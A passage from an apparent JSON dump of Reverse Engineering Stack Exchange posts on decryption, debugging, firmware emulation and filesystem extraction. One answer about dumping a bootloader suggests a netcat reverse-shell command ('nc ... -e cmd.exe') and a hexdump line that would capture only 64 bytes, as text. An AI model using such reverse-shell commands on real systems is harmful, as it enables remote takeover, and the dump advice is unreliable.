href=\"https://bitbucket.org/dignityteam/minerva/src/e149a219b6783070de71820ea359f1b27cebda63/src/ObjectBuddy/Cryption.cs?at=develop&amp;fileviewer=file-view-default\" rel=\"nofollow\">https://bitbucket.org/dignityteam/minerva/src/e149a219b6783070de71820ea359f1b27cebda63/src/ObjectBuddy/Cryption.cs?at=develop&amp;fileviewer=file-view-default</a></p>\n\n<p>I think, the Server-To-Client encryption is not the right thing. The decryption code I posted above does returns right results but is not the same as you can see at the linked page.</p>\n",
        "Title": "Having keys and binary, how do I reverse/decrypt a stream encryption?",
        "Tags": "|encryption|decryption|cryptography|c#|cryptanalysis|",
        "Answer": "<p>Good news, You're lucky!</p>\n\n<p>What you're facing in front of you is a <a href=\"https://en.wikipedia.org/wiki/Stream_cipher\" rel=\"noreferrer\">stream cipher</a>. Why is that good? because the way stream ciphers are built makes them extremely easy to reverse - the decryption and encryption functions of stream ciphers are actually the same function.</p>\n\n<blockquote>\n  <p>A stream cipher is a symmetric key cipher where plaintext digits are combined with a pseudorandom cipher digit stream (keystream). In a stream cipher each plaintext digit is encrypted one at a time with the corresponding digit of the keystream, to give a digit of the ciphertext stream. Since encryption of each digit is dependent on the current state of the cipher, it is also known as state cipher. In practice, a digit is typically a bit and the combining operation an exclusive-or (XOR).</p>\n</blockquote>\n\n<p>Stream ciphers are basically generating a sequence (or a stream) of bytes, and those bytes are mixed with the message in a byte-per-byte fashion, nearly always using a <a href=\"https://en.wikipedia.org/wiki/Exclusive_or\" rel=\"noreferrer\">XOR</a> operation. That's also the case with your function, see the line <code>token ^= t;</code>. Since two XOR operations with the same value cancel each other, XORing a byte of the encrypted message with the same stream again on the receiving end will actually decrypt it.</p>\n\n<p>If you have the keys and all input needed to generate the stream in the first place, simply applying the same function again will provide you with the original message.</p>\n"
    },
    {
        "Id": "13484",
        "CreationDate": "2016-09-10T19:26:23.320",
        "Body": "<p><br>\nI'm trying to recycle an Anti-theft system keypad.<br>\nMy goal is use this keypad as my system peripheral.<br>\nThis keypad is interfaced with its master device phisically using bus <strong>rs485</strong>.<br>\nThe first step in order to exploit this keyboard, is understand the communication between this two devices, the master and its keypad.<br>\nMy first idea have been tap the bus and sniff the traffic.<br>\nDoing this, I collected few dumps of estabilished dialogs between those two devices, but because the  tap, I can't have any idea of the direction the bytes I logged.<br>\nSo my second step have been play the <em>man-in-the-middle</em> game.<br><br>\nI setup a device to put between the master and its keypad cutting the bus and using two transceiver, one facing the master an another facing the keypad.<br>\nThen I wrote a simple program to forward everything from an interface to another.<br>\nIn this scenario however, it seems keypad does not react to the messages sent by its master, received by my device ad forwarded to it.<br>\nHaving the feeling something in the transmission could be wrong, the rs485 chip on my usb dongle and the one on the keypad are different (<strong>sipex sp485ec</strong> keypad - <strong>st 485ecdr</strong> usb dongle), I tried to tap directly a logic analyzer to the serial pin on the microcontroller. Doing this I verified that sending bytes through my usbdongle I could receive them on the pins on the MCU.<br><br><br>\nCan someone give me any direction to step forward my project?</p>\n",
        "Title": "Anti-theft system rs485 keypad",
        "Tags": "|serial-communication|",
        "Answer": "<p>As often happen, solution is easiest than you might have thought.<br>\nBut before proceed telling you which was the problem, I want to ask a simple question to you all: <br> <em>Did you know that, if in serial communication the stop bit setting is wrong, you can receive and decode successfully the stream?</em><br>\nFrankly I didn't know, and that's the main cause I waste all this time on a simple problem such as this.<br>\nWell you should also understand that in my experience, I never ever had the need to change the stop bit setting.<br>\n<strong>Never ever... until now.</strong><br><br>\nAs you might have guessed, the problem laid in the fact that \"stop bit\" setting was wrong.<br>\nInstead of the classic <strong>9600,8,n,1</strong> this setup needed <strong>9600,8,n,2</strong>.<br>\nGuess what, I needed a very long time to figure it out.<br>\nI ended up probing serial data, directly on the MCU serial pins tx and rx pins, that because I feared the rs485 driver could have something wrong.<br>\nAt last, comparing a sniffed waveform from original MASTER and the waveform I produced I finally saw the difference.\n<a href=\"https://i.stack.imgur.com/WJ3bk.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/WJ3bk.gif\" alt=\"waveforms comparsion\"></a>\nNow I can successfully transmit bytes to the devices on this bus  and proceed with my original goal of reverse engineer the protocol to use this hardware on my custom Anti-theft system.</p>\n"
    },
    {
        "Id": "13495",
        "CreationDate": "2016-09-12T10:22:34.590",
        "Body": "<p>I am relatively new to the world of RE.\nSo, I am playing with a program, which relies on multiple dlls.\nI am using 32 bit OllyDbg 2.01, and can\u2019t put permanent breakpoints in one dll, others are fine, just this one is making problems.\nOlly accepts breakpoints in session, but forgets their locations after the program gets restarted (meaning all BPs get deleted in this one dll).\nAnalysis of this dll outputs in olly message \u201cQuick statistical test of module reports that its code section is either compressed, encrypted, or contains large amount of embedded data. Results of code analysis can be very unrealiable or simply wrong. Do you want to continue analysis?\u201d.\nI have tried using PEiD and nothing was found.\nI can open dll with a simple hex editor and find all op code hex data, so I think the dll is not encrypted or packed, and it has to do with Olly dbg.\nCan anyone give any suggestion? </p>\n",
        "Title": "OllyDbg can't set permanent breakpoint",
        "Tags": "|ollydbg|dll|breakpoint|",
        "Answer": "<p>Is this library dynamically loaded? (At runtime, e.g. using API like LoadLibaray, LdrLoadDll)</p>\n\n<p>Then you may need to set your breakpoints dynamically as well. For example, using Olly's scripting capabilities. If the library is always loaded at the same offset, memory breakpoints could also prove useful.</p>\n"
    },
    {
        "Id": "13509",
        "CreationDate": "2016-09-15T05:52:21.830",
        "Body": "<p>I looked up the source code of the functions like <code>CreateProcess</code> and <code>CreateThreade</code> from <code>kernel32</code>. For example, <code>CreateThread@kernel32</code> leads into <code>kernelbase.dll</code> and ends with a call to <code>NtCreateThreadEx</code>.</p>\n\n<p>I cannot see any calls to <code>CsrClientCallServer</code> in that function, There are only few checks and a call to <code>RtlActivateActivationContextEx</code>. I wonder if those calls are necessary for a process to function</p>\n\n<p>I looked up in the <code>ntdll</code> there is no function with the name <code>CsrClientCallServer</code>. However there are functions like <code>NtConnectPort</code> and so on, to use the <strong>LPC</strong> mechanism. </p>\n\n<p>I assume <code>CsrClientCallServer</code> was built on top of the functions like <code>NtConnectPort</code>, <code>NtReplyPort</code> with some specific parameters.\nMy question is: <strong>is it necessary to notify csrss about the created thread from user mode?</strong></p>\n\n<p>It is unclear to me from wininternals and other books should this be done or not, for the thread of the existing process. I tried to create the thread using old <code>NtCreateThread</code> on win10 and it works fine, without any notifications via LPC But will the same code work on xp for example?</p>\n",
        "Title": "Changes on threads and threading system, in new Windows OS",
        "Tags": "|ida|winapi|thread|process|",
        "Answer": "<p>No. It is not <em>necessary</em> to create a connection with the <code>CSRSS</code> service in order for a process to function. The <code>CSRSS</code> server provides a few functionalities that are not needed for most processes, and therefore can be ignored unless it is requried in that specific process for any reason.</p>\n\n<p>Since NT4, the main functionalities of <code>CSRSS</code> remained mostly the Windows Console GUI and other GUI related services Windows provides to GUI applications. If your process does not require those services it can silently ignore the existance of <code>CSRSS</code>.</p>\n\n<p>Although I'm aware of it independently, this is also stated in <a href=\"https://en.wikipedia.org/wiki/Client/Server_Runtime_Subsystem\" rel=\"nofollow\">wikipedia</a>:</p>\n\n<blockquote>\n  <p>Client/Server Runtime Subsystem, or csrss.exe, is a component of the Windows NT family of operating systems that provides the user mode side of the Win32 subsystem and is included in Windows NT 4 and later. Because most of the Win32 subsystem operations have been moved to kernel mode drivers in Windows NT 4 and later, CSRSS is mainly responsible for Win32 console handling and GUI shutdown.</p>\n</blockquote>\n\n<p>Additonally, there's a <a href=\"http://magazine.hackinthebox.org/issues/HITB-Ezine-Issue-005.pdf\" rel=\"nofollow\">decent</a> (see page 38) <a href=\"http://j00ru.vexillium.org/?p=502\" rel=\"nofollow\">amount</a> <a href=\"https://doxygen.reactos.org/dir_289a3749994be3fa0fe2c6a8f7d01078.html\" rel=\"nofollow\">of</a> <a href=\"https://technet.microsoft.com/en-us/library/cc750820.aspx#XSLTsection124121120120\" rel=\"nofollow\">documentation</a> <a href=\"https://technet.microsoft.com/en-us/magazine/2007.03.vistakernel.aspx\" rel=\"nofollow\">about</a> <a href=\"http://j00ru.vexillium.org/?p=2197\" rel=\"nofollow\">CSRSS</a> <a href=\"http://www.reactos.org/forum/viewtopic.php?p=102718&amp;sid=801ce2a73d8c5d6e4a6aa37c4ccaf670\" rel=\"nofollow\">online</a>. </p>\n"
    },
    {
        "Id": "13513",
        "CreationDate": "2016-09-16T08:40:05.770",
        "Body": "<p>I'm not asking for a decompiler, as I'm aware that it does not produce accurate results all the time. I've tried Googling but all I found were decompilers.</p>\n\n<h2>Problem</h2>\n\n<p>I found it extremely inefficient to be continuously referring to the instruction set manual to find out what various uncommon instructions do. Furthermore I deal only infrequently with assembly and I found I have to continuously make a conscious effort to interpret the mnemonic syntax, which slows things down tremendously.</p>\n\n<h2>Requirement</h2>\n\n<p>A per-line translation of the assembly instructions. As a very simple example, replacing <code>add eax, ebx</code> with <code>eax += ebx</code> in the disassembly view, or just commenting the instruction with the pseudocode. Be it replacement or commenting, having the pseudocode inline would help to preserve the graph view and other convenient functionalities provided by IDA.</p>\n",
        "Title": "Are there IDA scripts/plugins to translate/comment instructions to/with pseudocode?",
        "Tags": "|ida|disassembly|decompiler|",
        "Answer": "<p>Here's an incomplete script to do this, for x86:</p>\n\n<pre><code>#include &lt;idc.idc&gt;\n/*\n    Project name: Pseudo instruction adder 1.0\n\n    Author: fastman92\n*/\n\n#define true 1\n#define false 0\n\n\n#define ARCHITECTURE_TYPE_X86 1\n#define ARCHITECTURE_TYPE_X64 2\n\nextern architectureType;\nextern pointerSize;\n\nstatic MakeInstructionComment_x86(ea)\n{\n    auto mnem = GetMnem(ea);\n\n    auto op0 = GetOpnd(ea, 0);\n    auto op1 = GetOpnd(ea, 1);\n\n    auto comment = \"\";\n\n    if(mnem == \"push\")\n        comment = sprintf(\"ESP -= 4; *(int32_t*)ESP = %s;\", op0);\n    else if(mnem == \"mov\")\n        comment = sprintf(\"%s = %s;\", op0, op1);\n    else if(mnem == \"lea\")\n        comment = sprintf(\"%s = address(%s);\", op0, op1);\n    else if(mnem == \"jmp\")\n        comment = sprintf(\"goto %s;\", op0);\n    else if(mnem == \"pop\")\n        comment = sprintf(\"%s = *(int32_t*)ESP; ESP += 4;\", op0);\n    else if(mnem == \"leave\")\n        comment = \"EBP = *(int32_t*)ESP; ESP += 4;\";\n    else if(mnem == \"retn\")\n        comment = \"return;\";\n    else if(mnem == \"sub\")\n        comment = sprintf(\"%s -= %s;\", op0, op1);\n    else if(mnem == \"shr\")\n        comment = sprintf(\"%s = %s &gt;&gt; %s;\", op0, op0, op1);\n    else if(mnem == \"shl\")\n        comment = sprintf(\"%s = %s &lt;&lt; %s;\", op0, op0, op1); \n    else if(mnem == \"and\")\n        comment = sprintf(\"%s &amp;= %s;\", op0, op1);\n    else if(mnem == \"or\")\n        comment = sprintf(\"%s |= %s;\", op0, op1);\n    else if(mnem == \"xor\")\n        comment = sprintf(\"%s ^= %s;\", op0, op1);\n    else if(mnem == \"not\")\n        comment = sprintf(\"%s = ~%s;\", op0, op0);\n    else if(mnem == \"cmp\")\n        comment = sprintf(\"EFL = cmp(%s, %s);\", op0, op1);\n    else if(mnem == \"test\")\n        comment = sprintf(\"EFL = test(%s, %s);\", op0, op1);\n\n    else if(mnem == \"jnb\")\n        comment = \"goto, if A &gt;= B;\";\n    else if(mnem == \"jz\")\n        comment = \"goto, if A == B;\";\n    else if(mnem == \"jnz\")\n        comment = \"goto, if A != B;\";\n    else if(mnem == \"jb\")\n        comment = \"goto, if A &lt; B;\";\n    else if(mnem == \"jbe\")\n        comment = \"goto, if A &lt;= B;\";\n    else if(mnem == \"jl\")\n        comment = \"goto, if A &lt; B;\";\n    else if(mnem == \"ja\")\n        comment = \"goto, if A &gt; B;\";\n    else if(mnem == \"js\")\n        comment = \"goto, if A &lt; 0;\";\n\n\n    else if(mnem == \"pusha\")\n        comment = \"saveAllGeneralRegisterValues()\";\n    else if(mnem == \"popa\")\n        comment = \"restoreAllGeneralRegisterValues()\";\n\n    else if(mnem == \"stc\")\n        comment = \"setCarryFlag();\";\n    else if(mnem == \"clc\")\n        comment = \"clearCarryFlag();\";\n    else if(mnem == \"cmps\")\n        comment = \"memcmp;\";\n    else if(mnem == \"movs\")\n        comment = \"memset;\";\n\n    else if(mnem == \"nop\")\n        comment = \";\";\n\n    else if(mnem == \"call\")\n        comment = sprintf(\"call %s\", op0);  \n    else if(mnem == \"inc\")\n        comment = sprintf(\"%s++;\", op0);\n    else if(mnem == \"dec\")\n        comment = sprintf(\"%s--;\", op0);\n    else if(mnem == \"add\")\n        comment = sprintf(\"%s += %s;\", op0, op1);\n    else\n    {\n        // Message(\"unknown: 0x%X mnem: %s\\n\", ea, mnem);\n        return true;\n    }\n\n    MakeComm(ea, comment);\n\n    // Message(\"0x%X: %s\\n\", ea, comment);\n    return true;\n}\n\nstatic MakeInstructionComment(ea)\n{\n    if(architectureType == ARCHITECTURE_TYPE_X86)\n        return MakeInstructionComment_x86(ea);      \n}\n\nstatic main()\n{\n    architectureType = ARCHITECTURE_TYPE_X86;\n\n    if(architectureType == ARCHITECTURE_TYPE_X86)\n    {\n        pointerSize = 4;\n    }\n\n\n    Message(\"Start of pseudo instruction adder by fastman92\\n\");\n\n    auto seg, loc;\n\n    Message(\"========================================\\n\");\n\n    seg = FirstSeg();   // Get address pointed by a first segment\n\n    auto shouldBreak = false;\n\n    while(seg != BADADDR )\n    {   \n        Message(\"----------------------------------------\\n\");\n\n        loc = SegStart(seg);        \n\n        Message(\"Adding pseudo code comments in segment %s\\n\", SegName(seg));\n\n\n        while(loc != BADADDR &amp;&amp; loc &lt; SegEnd(seg))\n        {                           \n            if(isCode(GetFlags(loc)))\n            {\n                shouldBreak = !MakeInstructionComment(loc);\n\n                if(shouldBreak)\n                    break;\n            }\n\n            loc = NextHead(loc, BADADDR);           \n        }\n\n\n        if(shouldBreak)\n            break;\n\n        seg = NextSeg(seg);     // get address of the next segment\n    }\n\n    Message(\"End of pseudo instruction adder by fastman92\\n\");\n}\n</code></pre>\n"
    },
    {
        "Id": "13520",
        "CreationDate": "2016-09-17T15:17:23.460",
        "Body": "<p>I have a binary firmware image with a routine that I find hard to understand.\nI want to step through this encryption routine step by step so I can better understand it.</p>\n\n<p>I was able to obtain all the data from the memory of the device: \nthe firmware, the option banks, the RAM which includes the data to be encrypted, etc.. and  all in raw bytes.</p>\n\n<p>I know the location of the encryption subroutine and want to start stepping through the program at that point. I've analyzed the firmware as far as possible in IDA PRO.</p>\n\n<p>The device has an ARM Cortex-M3, which uses the ARMv7-M instruction set. Here is the<br>\n<a href=\"http://www.st.com/content/ccc/resource/technical/document/datasheet/58/e3/b5/60/88/c8/4b/1b/DM00034689.pdf/files/DM00034689.pdf/jcr:content/translations/en.DM00034689.pdf\" rel=\"nofollow\">data sheet</a>\n of the device.</p>\n\n<p>What would be a good approach to do this?</p>\n\n<p><strong>Update 1</strong>  -  sep 19 '16</p>\n\n<p>I chose to emulate just the code snippet. However I'm slightly clueless what \"configuration\" to choose (configuring QEMU: step 5). The information that comes up when googling for the \"Versatile\" or the \"Integrator\" board doesn't make it more clear. </p>\n\n<p>How can I determine what configuration to choose?</p>\n",
        "Title": "Stepping through ARM firmware image",
        "Tags": "|ida|assembly|firmware|arm|",
        "Answer": "<p>You can debug and even step the execution with the following ways:</p>\n\n<ul>\n<li><strong>Emulating a code snippet</strong>. You can find the detailed steps of code snippet emulation with QEMU in <a href=\"http://www.hexblog.com/?p=111\" rel=\"noreferrer\">hexblog</a>. In this approach you have to set the memory and register values to the correct ones, which can be challenging in some times.</li>\n<li><strong>Emulating the whole firmware</strong>. There is a very good blog post about firmware emulation with QEMU in the <a href=\"http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-3/\" rel=\"noreferrer\">devttsy0</a> blog. Because you emulate the whole firmware in this case, you don't have to set any runtime values for debugging. However, you may have to emulate nvram and other hardware specific features.</li>\n</ul>\n"
    },
    {
        "Id": "13542",
        "CreationDate": "2016-09-22T00:49:15.740",
        "Body": "<p>recently I've been learning to do RE.</p>\n\n<p>I made a simple program in 10 seconds that I was going to mess around with in IDA.</p>\n\n<pre><code>#include &lt;iostream&gt;\n\nint main(int argc, char* argv[])\n{\n    printf(\"Hello, world!\\n\");\n\n    int i = 0;\n\n    if (i == 0)\n    {\n        printf(\"i == 0\\n\");\n    }\n    else\n    {\n        printf(\"i &gt; 0 OR i &lt; 0\\n\");\n    }\n\n    while (i == 0)\n    {\n        printf(\"I'm a while loop\\n\");\n        _sleep(510);\n    }\n}\n</code></pre>\n\n<p>As you can see its the main function. But when I go into IDA and click on start its not that function (assuming start is the main function, correct?)</p>\n\n<p>But, after clicking on a few functions in the function window I came across it. \nHere it is</p>\n\n<pre><code>int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n    {\n      char v3; // ST04_1@1\n      char v4; // [sp+0h] [bp-4h]@0\n      char v5; // [sp+0h] [bp-4h]@1\n\n      printf(\"Hello, world!\\n\", v4);\n      printf(\"i == 0\\n\", v3);\n      while ( 1 )\n      {\n        printf(\"I'm a while loop\\n\", v5);\n        sleep(0x1FEu);\n      }\n    }\n</code></pre>\n\n<p>I've already reversed most of it. (printf was originally sub_50505 or something like that).</p>\n\n<p>However, for some odd reason, its created unnecessary vars and I'm curious as to why it did that. It should've only created one, which is i.</p>\n\n<p>Also, why is it while (1) { ... }</p>\n\n<p>Shouldn't it by while (i == 0) { ... }?</p>\n\n<p>I'm curious about all these questions. Thanks! And sorry if they're silly. I'm new to RE! </p>\n",
        "Title": "Question about IDA 6.8, also why its creating unnecessary vars",
        "Tags": "|c++|",
        "Answer": "<p>Welcome to RE.</p>\n\n<blockquote>\n  <p>it created unnecessary vars and I'm curious as to why it did that</p>\n</blockquote>\n\n<p>The problem is with the printf function.</p>\n\n<p>Normally, when IDA encounters a function call, it looks up the function signature to know how many parameters are passed at which locations.</p>\n\n<p>In the case of the printf function, it is <strong>at least</strong> one parameter. In order to know how many parameters are passed, one would need to evaluate the format string. However, IDA doesn't and rather employs some heuristic to determine which part of the stack 'belongs' to this function call.</p>\n\n<p>Since the main function retrieves parameters </p>\n\n<pre><code>(int argc, const char **argv, const char **envp)\n</code></pre>\n\n<p>when invoked, IDA notices the stack contains something.</p>\n\n<blockquote>\n  <p>Also, why is it while (1) { ... }</p>\n</blockquote>\n\n<p>Most probably your compiler optimized the code because he noticed i is never assigned anything else but 0. It also removed the 'dead code' in the else-clause. If you use gcc, try turning off optimization (e.g. -O0)</p>\n"
    },
    {
        "Id": "13545",
        "CreationDate": "2016-09-22T11:21:25.687",
        "Body": "<p>I need get copy of original Bootloader from device running embedded Linux. Is it possible copy and save bootloader using CLI telnet commands? I have full access to CLI interface. Is there way copy Bootloader binary from memory and save it?</p>\n\n<pre><code>=&gt; printenv\n...\nupdate_uboot=tftpboot 0x80000100 u-boot.bin &amp;&amp; protect off 0x48000000 +${filesize} &amp;&amp; erase 0x48000000 +${filesize} &amp;&amp; sleep ${sdelay} &amp;&amp; cp.b ${fileaddr} 0x48000000 ${filesize} &amp;&amp; protect on 0x48000000 +${filesize}\n...\n\nubootpartsize=0x20000\n\nmtdinfo=0x20000(U-Boot)ro\nmtdparts=spansion:0x20000(U-Boot)ro\n\n5 cmdlinepart partitions found on MTD device spansion\npartitions[0] = {.name = U-Boot, .offset = 0x00000000,.size = 0x00020000 (128K) }\n\n0x00000000-0x00020000 : \"U-Boot\"\n</code></pre>\n\n<p>EDIT: netcat is not present in Busybox on embedded device.</p>\n\n<pre><code>BusyBox v1.19.2 built-in shell (ash)\nEnter 'help' for a list of built-in commands.\n# help\nBuilt-in commands:\n------------------\n        . : [ [[ bg break cd chdir continue echo eval exec exit export\n        false fg getopts hash help jobs kill local printf pwd read readonly\n        return set shift source test times trap true type ulimit umask\n        unset wait\n</code></pre>\n",
        "Title": "Is it possible copy and save bootloader using CLI telnet commands?",
        "Tags": "|binary-analysis|linux|memory|embedded|flash|",
        "Answer": "<p>dd and netcat should work just fine.</p>\n<p>If any problem with that, try doing an hexdump to stdout</p>\n<pre><code>hexdump -C -n 64 /dev/mtdblock0 &gt; bootloader.bin\n</code></pre>\n<p>But needs a reverse shell on the target, like:</p>\n<pre><code>nc.exe [local IP] [port] -e cmd.exe\n</code></pre>\n<p>(cmd.exe is for MS windows, /bin/sh on linux)</p>\n"
    },
    {
        "Id": "13547",
        "CreationDate": "2016-09-22T12:48:07.413",
        "Body": "<p>I am starring at the following <a href=\"http://incenter.medical.philips.com/doclib/getdoc.aspx?func=ll&amp;objid=9792178&amp;objaction=download\" rel=\"nofollow\">exe</a> file, see main page <a href=\"http://clinical.netforum.healthcare.philips.com/global/Explore/Clinical-News/MRI/Philips-DICOM-Viewer-download-version-R30-SP3\" rel=\"nofollow\">here</a>. It seems pretty clear (using -E entropy option) that the exe contains compressed section. For some reason <code>binwalk</code> is not capable of finding the start of those sections.</p>\n\n<p>Here is what I have:</p>\n\n<pre><code>$ binwalk -v -B PmsDView.exe \n\nScan Time:     2016-09-22 14:42:04\nTarget File:   /tmp/PmsDView.exe\nMD5 Checksum:  911d92675f559a40400f7ca2b69c8544\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Microsoft executable, portable (PE)\n2015          0x7DF           Copyright string: \"Copyright 1995-2005 Mark Adler \"\n</code></pre>\n\n<p>However it seems like they are using <code>gzip</code>:</p>\n\n<pre><code>$ hexdump -C PmsDView.exe\n000007a0  30 00 30 00 31 00 35 00  00 00 00 00 4c 64 72 47  |0.0.1.5.....LdrG|\n000007b0  65 74 50 72 6f 63 65 64  75 72 65 41 64 64 72 65  |etProcedureAddre|\n000007c0  73 73 00 00 6e 74 64 6c  6c 00 00 00 00 00 00 00  |ss..ntdll.......|\n000007d0  20 69 6e 66 6c 61 74 65  20 31 2e 32 2e 33 20 43  | inflate 1.2.3 C|\n000007e0  6f 70 79 72 69 67 68 74  20 31 39 39 35 2d 32 30  |opyright 1995-20|\n000007f0  30 35 20 4d 61 72 6b 20  41 64 6c 65 72 20 00 00  |05 Mark Adler ..|\n</code></pre>\n\n<p>Am I missing something ? Or did they mask the <code>gzip</code> signature ?</p>\n",
        "Title": "binwalk cannot find gzip sections",
        "Tags": "|binary-analysis|decompress|",
        "Answer": "<p>Binwalk did not find the zlib blob because it is also encrypted. It uses the following code to decrypt the compressed data. The decryption uses a table stored in the stack, which is filled with generated values before the loop.</p>\n\n<p><a href=\"https://i.stack.imgur.com/pqGcB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pqGcB.png\" alt=\"enter image description here\"></a></p>\n\n<p>Thus, you have to reverse the decryption code or save the decompressed data from the memory.</p>\n"
    },
    {
        "Id": "13552",
        "CreationDate": "2016-09-22T15:57:16.177",
        "Body": "<p>I have jail-broken my iPhone with Cydia store. In cydia store I have checked and I see <code>cycrypt</code> has installed.</p>\n\n<p>But when I ssh to my iPhone and try to run command <code>cycrypt</code> I receive the following error, indicating cycrypt is not installed:</p>\n\n<pre><code>-sh: cycrypt: command not found\n</code></pre>\n\n<p>Am I missing something?</p>\n",
        "Title": "ios jailbreak: command cycrypt not found",
        "Tags": "|ios|",
        "Answer": "<p>The command you're trying to use is <code>cycript</code>, not <code>cycrypt</code>. Notice the <strong>i</strong> instead of your second <strong>y</strong>. That's why your ssh session fails executing it.</p>\n"
    },
    {
        "Id": "13575",
        "CreationDate": "2016-09-24T13:51:18.453",
        "Body": "<p>Ok, so I have been trying to dump the contents of a Technicolor TG799vac.</p>\n\n<p>So far I have removed the flash chip and read out the chip using the DumpFlash.py utility\nand used binwalk to locate the Squashfs File system </p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n39436         0x9A0C          SHA256 hash constants, big endian\n31764480      0x1E4B000       JFFS2 filesystem, big endian\n32013764      0x1E87DC4       JFFS2 filesystem, big endian\n32242272      0x1EBFA60       JFFS2 filesystem, big endian\n36765696      0x2310000       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 14928222 bytes, 3253 inodes, blocksize: 262144 bytes, created: 2016-06-28 03:08:22\n51709334      0x3150596       xz compressed data\n51855814      0x31741C6       xz compressed data\n51922474      0x318462A       xz compressed data\n52004354      0x3198602       xz compressed data\n52046150      0x31A2946       xz compressed data\n52047662      0x31A2F2E       xz compressed data\n52091472      0x31ADA50       xz compressed data\n52093306      0x31AE17A       xz compressed data\n52095388      0x31AE99C       xz compressed data\n52097286      0x31AF106       xz compressed data\n52099504      0x31AF9B0       xz compressed data\n52101750      0x31B0276       xz compressed data\n52103748      0x31B0A44       xz compressed data\n52106574      0x31B154E       xz compressed data\n52108628      0x31B1D54       xz compressed data\n52110506      0x31B24AA       xz compressed data\n52112416      0x31B2C20       xz compressed data\n52114650      0x31B34DA       xz compressed data\n52116652      0x31B3CAC       xz compressed data\n52118514      0x31B43F2       xz compressed data\n52118772      0x31B44F4       xz compressed data\n52122718      0x31B545E       xz compressed data\n52126772      0x31B6434       xz compressed data\n52131218      0x31B7592       xz compressed data\n52135620      0x31B86C4       xz compressed data\n52138550      0x31B9236       xz compressed data\n52141480      0x31B9DA8       xz compressed data\n52144930      0x31BAB22       xz compressed data\n52148772      0x31BBA24       xz compressed data\n52152506      0x31BC8BA       xz compressed data\n52153220      0x31BCB84       xz compressed data\n52153882      0x31BCE1A       xz compressed data\n52155856      0x31BD5D0       xz compressed data\n52157758      0x31BDD3E       xz compressed data\n52159824      0x31BE550       xz compressed data\n137234956     0x82E0A0C       SHA256 hash constants, big endian\n</code></pre>\n\n<p>I used <code>dd</code> to extract the Image: </p>\n\n<pre><code>$ dd  if=Modem.img bs=1 skip=36765696 count=14928222 of=Modem.squashfs\n14928222+0 records in\n14928222+0 records out\n14928222 bytes (15 MB) copied, 22.0777 s, 676 kB/s\n</code></pre>\n\n<p>I tried to <code>unsuqashfs</code> the image:</p>\n\n<pre><code>$ unsquashfs -s Modem.squashfs\nFound a valid SQUASHFS 4:0 superblock on Modem.squashfs.\nCreation or last append time Tue Jun 28 13:08:22 2016\nFilesystem size 14578.34 Kbytes (14.2 Mbytes)\nCompression xz\nxz: error reading stored compressor options from filesystem! \nBlock size 262144 \nFilesystem is exportable via NFS                                                                           Inodes are compressed\nData is compressed                                                                    Fragments are compressed                                                                  Always-use-fragments option is not specified                                                                     Xattrs are not stored                                                                        Duplicates are Removed                                                                       Number of fragments 85                                                                            Number of inodes 3253                                                                         Number of ids 1\n\n$ unsquashfs -d squash-root1  Modem.squashfs\nParallel unsquashfs: Using 4 processors\nLseek failed because Invalid argument\nread_block: failed to read block @0x71eed2525ee8f30e\nread_uids_guids: failed to read id table block\nFATAL ERROR:failed to uid/gid table\n</code></pre>\n\n<p>But, it failed. So, I tried to extract with <code>firmware-mod-kit</code>:</p>\n\n<pre><code>$ ./unsquashfs_all.sh ~/projects/Telstra/DumpFlash/Modem.squashfs ~/projects/Telstra/DumpFlash/Squashfs/\n\nAttempting to extract SquashFS .X file system...\n\nTrying ./src/squashfs-2.1-r2/unsquashfs-lzma... \nTrying ./src/squashfs-2.1-r2/unsquashfs... \nTrying ./src/squashfs-3.0/unsquashfs-lzma... \nTrying ./src/squashfs-3.0/unsquashfs... \nTrying ./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma... \nTrying ./src/others/squashfs-2.0-nb4/unsquashfs... \nTrying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma... \nTrying ./src/others/squashfs-3.0-e2100/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs... \nTrying ./src/others/squashfs-3.3/unsquashfs... \nTrying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs... \nTrying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs... \nTrying ./src/others/squashfs-3.4-cisco/unsquashfs... \nTrying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... \nTrying ./src/others/squashfs-3.4-nb4/unsquashfs... \nTrying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 4 processors\nTrying ./src/others/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 4 processors\nTrying ./src/others/squashfs-4.0-lzma/unsquashfs-lzma... Parallel unsquashfs: Using 4 processors\nTrying ./src/others/squashfs-4.0-realtek/unsquashfs... Skipping others/squashfs-hg55x-bin (wrong version)...\nFile extraction failed!\n</code></pre>\n\n<p>I also tried <code>sasquatch</code>:</p>\n\n<pre><code>$ sasquatch  -trace Modem.squashfs \nsquashfs: read_bytes: reading from position 0x0, bytes 32\nSquashFS version [4.0] / inode count [3253] suggests a SquashFS image of the same endianess\nsquashfs: read_bytes: reading from position 0x0, bytes 96\nsquashfs: read_bytes: reading from position 0x60, bytes 2\nsquashfs: read_block: block @0x60, 12 uncompressed bytes\nsquashfs: read_bytes: reading from position 0x62, bytes 12\nParallel unsquashfs: Using 1 processor\nsquashfs: read_uids_guids: no_ids 1\nsquashfs: read_bytes: reading from position 0xe3c956, bytes 8\nsquashfs: read_bytes: reading from position 0x71eed2525ee8f30e, bytes 2\nLseek failed because Invalid argument\nread_block: failed to read block @0x71eed2525ee8f30e\nread_uids_guids: failed to read id table block\nFATAL ERROR:failed to uid/gid table\n</code></pre>\n\n<p>But still no joy. :-(</p>\n\n<p>Can anyone offer any advice or maybe point out any mistakes as 